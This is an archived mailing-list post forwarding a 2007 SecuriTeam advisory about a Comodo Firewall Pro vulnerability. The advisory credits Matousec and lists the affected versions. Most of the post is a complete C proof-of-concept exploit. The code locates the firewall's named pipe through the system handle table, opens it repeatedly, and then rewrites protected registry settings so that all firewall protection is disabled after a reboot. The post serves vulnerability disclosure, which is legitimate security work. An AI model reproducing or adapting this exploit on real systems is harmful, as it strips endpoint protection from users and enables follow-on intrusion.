ðòïåëôù 


  áòèé÷ 


Apache-Talk @lexa.ru 

Inet-Admins @info.east.ru 

Filmscanners @halftone.co.uk 

Security-alerts @yandex-team.ru 

nginx-ru @sysoev.ru 

  óôáôøé 


  ðåòóïîáìøîïå 


  ðòïçòáííù 



ðéûéôå
ðéóøíá














     áòèé÷ :: Security-alerts
Security-Alerts mailing list archive (security-alerts@yandex-team.ru)

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[security-alerts] FW: [NT] Comodo Bypassing Settings Protection Using Magic Pipe Vulnerability



 

> -----Original Message-----
> From: SecuriTeam [mailto:support@xxxxxxxxxxxxxx] 
> Sent: Thursday, March 01, 2007 2:32 PM
> To: html-list@xxxxxxxxxxxxxx
> Subject: [NT] Comodo Bypassing Settings Protection Using 
> Magic Pipe Vulnerability
> 
> 
> Comodo Bypassing Settings Protection Using Magic Pipe Vulnerability 
> 
> 
> 
> A vulnerability in Comodo Firewall allows a specially crafted 
> request sent to a pipe used by the product to be used to 
> bypass the protection mechanism of the product. 
> 
> 
> Vulnerable software: 
>  * Comodo Firewall Pro version 2.4.18.184 
>  * Comodo Firewall Pro version 2.4.17.183 
>  * Comodo Firewall Pro version 2.4.16.174 
>  * Comodo Personal Firewall version 2.3.6.81 
> probably all older versions of Comodo Personal Firewall 2 
> possibly older versions of Comodo Personal Firewall 
> 
> Comodo Firewall Pro (former Comodo Personal Firewall) stores 
> some of its internal settings in the registry key 
> HKLM\SYSTEM\Software\Comodo\Personal Firewall. This key is 
> protected by Comodo drivers such that other applications are 
> not able to change the settings. This protection can be 
> bypassed if very special conditions are met. CFP internally uses 
> a named pipe, which name varies, but can be always 
> determined. A process that opens this pipe many times is able 
> to manipulate the protected settings of CFP. A proper 
> modification of the settings will disable all protection mechanisms 
> implemented by CFP after a reboot. 
> 
> Exploit: 
> /* 
> 
>  Testing program for Bypassing settings protection using 
> magic pipe (BTP00001P005CF) 
> 
> 
>  Usage: 
>  prog 
>    (the program is executed without special arguments) 
> 
>  Description: 
>  This program finds a specific named pipe that belongs to CPF 
> and opens 
>  and closes it many times. This weird behaviour allows this 
> program to modify protected 
>  settings of CPF that are stored in the registry key 
> "HKLM\SYSTEM\Software\Comodo". 
> 
>  Test: 
>  Running the testing program and restarting the system. 
> 
> */ 
> 
> #undef __STRICT_ANSI__ 
> #include <stdio.h> 
> #include <stdlib.h> 
> #include <windows.h> 
> #include <tlhelp32.h> 
> #include <ddk/ntapi.h> 
> #include <ddk/ntifs.h> 
> 
> void about(void) 
> { 
>   printf("Testing program for Bypassing settings protection 
> using magic pipe (BTP00001P005CF)\n"); 
>   printf("Windows Personal Firewall Analysis project\n"); 
>   printf("Copyright 2007 by Matousec - Transparent security\n"); 
>   printf("http://www.matousec.com/""\n\n";); 
>   return; 
> } 
> 
> void usage(void) 
> { 
>   printf("Usage: test\n" 
>          " (the program is executed without special arguments)\n"); 
>   return; 
> } 
> 
> void print_last_error(void) 
> { 
>   LPTSTR buf; 
>   DWORD code=GetLastError(); 
>   if (FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | 
> FORMAT_MESSAGE_FROM_SYSTEM,NULL,code,0,(LPTSTR)&buf,0,NULL)) 
>   { 
>     fprintf(stderr,"Error code: %ld\n",code); 
>     fprintf(stderr,"Error message: %s",buf); 
>     LocalFree(buf); 
>   } else fprintf(stderr,"Unable to format error message for 
> code %ld.\n",code); 
>   return; 
> } 
> 
> 
> /* 
>  this function returns pointer to a copy of the system table 
> of the given class 
>  the memory for a copy is newly allocated and must be freed 
>  if the function failes the return value is NULL 
> */ 
> 
> PVOID get_info_table(DWORD class) 
> { 
>   PVOID info; 
>   DWORD info_size=0x1000; 
>   for (;;) 
>   { 
>     info_size=2*info_size; 
>     info=malloc(info_size); 
>     if (!info) break; 
>     NTSTATUS ret=ZwQuerySystemInformation(class,info,info_size,NULL); 
>     if (NT_SUCCESS(ret)) break; 
>     free(info); 
>     info=NULL; 
>     if (ret!=STATUS_INFO_LENGTH_MISMATCH) break; 
>   } 
>   return info; 
> } 
> 
> 
> typedef struct _SYSTEM_HANDLE_INFORMATION_BUFFER 
> { 
>   DWORD HandleCount; 
>   SYSTEM_HANDLE_INFORMATION HandleInfo[0]; 
> } 
> SYSTEM_HANDLE_INFORMATION_BUFFER,*PSYSTEM_HANDLE_INFORMATION_BUFFER; 
> 
> /* 
>  this function returns pointer to a copy of the system handle table 
>  if the function failed the return value is NULL 
>  otherwise the caller must free the memory 
> */ 
> 
> PSYSTEM_HANDLE_INFORMATION_BUFFER get_handle_table(void) 
> { 
>   return get_info_table(SystemHandleInformation); 
> } 
> 
> 
> /* 
>  set registry DWORD value changes registry value of under key\subkey 
>  returns FALSE if fails, TRUE otherwise 
> */ 
> 
> int set_reg_dw_value(HKEY key,char *subkey,char *vname,DWORD value) 
> { 
>   int res=FALSE; 
> 
>   HKEY hkey; 
>   LONG 
> ret=RegCreateKeyEx(key,subkey,0,NULL,REG_OPTION_NON_VOLATILE,K
> EY_SET_VALUE,NULL,&hkey,NULL); 
>   if (ret==ERROR_SUCCESS) 
>   { 
>     
> ret=RegSetValueEx(hkey,vname,0,REG_DWORD,(BYTE*)&value,sizeof(
> value)); 
>     if (ret==ERROR_SUCCESS) 
>     { 
>       printf("Registry value \"%s\" was modified in 
> \"%s\".\n",vname,subkey); 
>       res=TRUE; 
>     } else fprintf(stderr,"Unable to change registry value 
> \"%s\" in \"%s\".\n",vname,subkey); 
>     RegCloseKey(hkey); 
>   } else fprintf(stderr,"Unable to open registry key 
> \"%s\".\n",subkey); 
>   if (!res) 
>   { 
>     SetLastError(ret); 
>     print_last_error(); 
>   } 
>   return res; 
> } 
> 
> 
> /* 
>  enable_privilege adds privilege to own token 
>  returns TRUE if succeed 
> */ 
> 
> int enable_privilege(char *priv_name) 
> { 
>   DWORD res=0; 
>   HANDLE tok; 
>   LUID luid; 
>   TOKEN_PRIVILEGES privs; 
> 
>   if 
> (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES
>  | TOKEN_QUERY,&tok)) return 0; 
>   if (LookupPrivilegeValue(NULL,priv_name,&luid)) 
>   { 
>     privs.PrivilegeCount=1; 
>     privs.Privileges[0].Luid=luid; 
>     privs.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED; 
>     DWORD ret_len; 
>     
> res=AdjustTokenPrivileges(tok,0,&privs,sizeof(TOKEN_PRIVILEGES
> ),NULL,&ret_len); 
>     CloseHandle(tok); 
>   } 
>   return res; 
> } 
> 
> 
> /* 
>  enable_debug_privilege adds debug privilege to own token 
>  returns TRUE if succeed 
> */ 
> 
> int enable_debug_privilege(void) 
> { 
>   return enable_privilege(SE_DEBUG_NAME); 
> } 
> 
>                                      
> int main(int argc,char **argv) 
> { 
>   about(); 
> 
>   if (argc!=1) 
>   { 
>     usage(); 
>     return 1; 
>   } 
> 
>   PSYSTEM_HANDLE_INFORMATION_BUFFER handle_table=get_handle_table(); 
>   if (!handle_table) 
>   { 
>     fprintf(stderr,"Unable to obtain the system handle table.\n"); 
>     printf("\nTEST FAILED!\n"); 
>     return 1; 
>   } 
> 
> 
>   HANDLE syspr=NULL; 
>   DWORD syspid=0; 
>   HANDLE shot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); 
> 
>   if (shot==INVALID_HANDLE_VALUE) 
>   { 
>     fprintf(stderr,"Unable to create toolhelp snapshot.\n"); 
>     print_last_error(); 
>     fprintf(stderr,"\n"); 
>     printf("\nTEST FAILED!\n"); 
>     return 1; 
>   } 
> 
>   PROCESSENTRY32 pe; 
> 
>   pe.dwSize=sizeof(pe); 
> 
>   if (!Process32First(shot,&pe)) 
>   { 
>     CloseHandle(shot); 
>     fprintf(stderr,"Unable to enumerate processes.\n"); 
>     print_last_error(); 
>     fprintf(stderr,"\n"); 
>     printf("\nTEST FAILED!\n"); 
>     return 1; 
>   } 
> 
>   enable_debug_privilege(); 
>   do 
>   { 
>     if (stricmp(pe.szExeFile,"System")) continue; 
> 
>     syspid=pe.th32ProcessID; 
>     printf("System process found, PID = %ld.\n",syspid); 
> 
>     syspr=OpenProcess(PROCESS_DUP_HANDLE,FALSE,pe.th32ProcessID); 
>     break; 
>   } while (Process32Next(shot,&pe)); 
> 
>   CloseHandle(shot); 
> 
>   if (!syspr) 
>   { 
>     fprintf(stderr,"Unable to find or open system process.\n"); 
>     print_last_error(); 
>     fprintf(stderr,"\n"); 
>     printf("\nTEST FAILED!\n"); 
>     return 1; 
>   } 
> 
>   int pipefound=FALSE; 
>   char pipename[128]=""; 
>   for (int i=0;i<handle_table->HandleCount;i++) 
>   { 
>     PSYSTEM_HANDLE_INFORMATION handle=&handle_table->HandleInfo[i]; 
>     if (handle->ProcessId==syspid) 
>     { 
>       HANDLE dup_handle; 
>       HANDLE org_handle=(HANDLE)(LONG)handle->Handle; 
>       if 
> (DuplicateHandle(syspr,org_handle,GetCurrentProcess(),&dup_han
> dle,0,FALSE,DUPLICATE_SAME_ACCESS)) 
>       { 
>         char buffer[2048]; 
>         POBJECT_NAME_INFORMATION info=(PVOID)buffer; 
>         NTSTATUS 
> status=ZwQueryObject(dup_handle,ObjectNameInformation,buffer,s
> izeof(buffer),NULL); 
>         if (NT_SUCCESS(status)) 
>         { 
>           char name[512]; 
>           memset(name,0,sizeof(name)); 
>           PUNICODE_STRING uni_name=&info->Name; 
>           ANSI_STRING ansi_name={0,512,name}; 
>           RtlUnicodeStringToAnsiString(&ansi_name,uni_name,FALSE); 
>           char *pat="\\Device\\NamedPipe\\OLE"; 
>           if (!strnicmp(name,pat,strlen(pat))) 
>           { 
>             strncpy(pipename,name,128); 
>             pipename[127]='\0'; 
>             pipefound=TRUE; 
>             printf("Pipe found! Pipe name = \"%s\".\n",name); 
>           } 
>         } 
>       } 
>     } 
>   } 
> 
>   CloseHandle(syspr); 
>   free(handle_table); 
>   if (!pipefound) 
>   { 
>     fprintf(stderr,"Unable to find magic pipe.\n"); 
>     printf("\nTEST FAILED!\n"); 
>     return 1; 
>   } 
>   printf("\n"); 
>   char *name=pipename; 
> 
>   ANSI_STRING ansiname; 
>   UNICODE_STRING uniname; 
>   RtlInitAnsiString(&ansiname,name); 
>   if 
> (NT_SUCCESS(RtlAnsiStringToUnicodeString(&uniname,&ansiname,TRUE))) 
>   { 
>     OBJECT_ATTRIBUTES oa; 
>     
> InitializeObjectAttributes(&oa,&uniname,OBJ_CASE_INSENSITIVE,0,NULL); 
>     for (int i=0;i<100;i++) 
>     { 
>       HANDLE file=NULL; 
>       IO_STATUS_BLOCK iosb; 
> 
>       NTSTATUS 
> status=ZwOpenFile(&file,FILE_READ_ACCESS,&oa,&iosb,FILE_SHARE_
> READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,0); 
>       if (NT_SUCCESS(status)) ZwClose(file); 
>     } 
>     RtlFreeUnicodeString(&uniname); 
>   } 
> 
> 
>   if (set_reg_dw_value(HKEY_LOCAL_MACHINE, 
> "SYSTEM\\Software\\Comodo\\Personal Firewall","SecurityLevel",2) 
>    && set_reg_dw_value(HKEY_LOCAL_MACHINE, 
> "SYSTEM\\Software\\Comodo\\Personal Firewall","ProtectKeys",0) 
>    && set_reg_dw_value(HKEY_LOCAL_MACHINE, 
> "SYSTEM\\Software\\Comodo\\Personal Firewall\\AppCtrl","Operating",2) 
>    && set_reg_dw_value(HKEY_LOCAL_MACHINE, 
> "SYSTEM\\Software\\Comodo\\Personal 
> Firewall\\AppCtrl","OperationMode",2) 
>    && 
> set_reg_dw_value(HKEY_LOCAL_MACHINE,"SYSTEM\\Software\\Comodo> \Personal Firewall\\AppCtrl","TcpIn",0) 
>    && set_reg_dw_value(HKEY_LOCAL_MACHINE, 
> "SYSTEM\\Software\\Comodo\\Personal Firewall\\AppCtrl","TcpOut",0) 
>    && set_reg_dw_value(HKEY_LOCAL_MACHINE, 
> "SYSTEM\\Software\\Comodo\\Personal Firewall\\AppCtrl","UdpIn",0) 
>    && set_reg_dw_value(HKEY_LOCAL_MACHINE, 
> "SYSTEM\\Software\\Comodo\\Personal Firewall\\AppCtrl","UdpOut",0) 
>    && set_reg_dw_value(HKEY_LOCAL_MACHINE, 
> "SYSTEM\\Software\\Comodo\\Personal Firewall\\NetCtrl","Mode",2)) 
>   { 
>     printf("\nTEST SUCCESSFUL!\n"); 
>     return 0; 
>   } 
> 
>   printf("\nTEST FAILED!\n"); 
>   return 1; 
> } 
> 
> 
> Additional Information: 
> The information has been provided by Matousec - Transparent 
> security Research <mailto:research@xxxxxxxxxxxx> . 
> The original article can be found at: 
> http://www.matousec.com/info/advisories/Comodo-Bypassing-setti
> ngs-protection-using-magic-pipe.php 
> 
> 
> ==============================================================
> ================== 
> 
> 
> 
> 
> 
> This bulletin is sent to members of the SecuriTeam mailing list. 
> To unsubscribe from the list, send mail with an empty subject 
> line and body to: html-list-unsubscribe@xxxxxxxxxxxxxx 
> In order to subscribe to the mailing list and receive 
> advisories in HTML format, simply forward this email to: 
> html-list-subscribe@xxxxxxxxxxxxxx 
> 
> 
> 
> ==============================================================
> ================== 
> ==============================================================
> ================== 
> 
> DISCLAIMER: 
> The information in this bulletin is provided "AS IS" without 
> warranty of any kind. 
> In no event shall we be liable for any damages whatsoever 
> including direct, indirect, incidental, consequential, loss 
> of business profits or special damages. 
> 
> 
> 
> 
> 
> 



 




Copyright © Lexa Software, 1996-2009.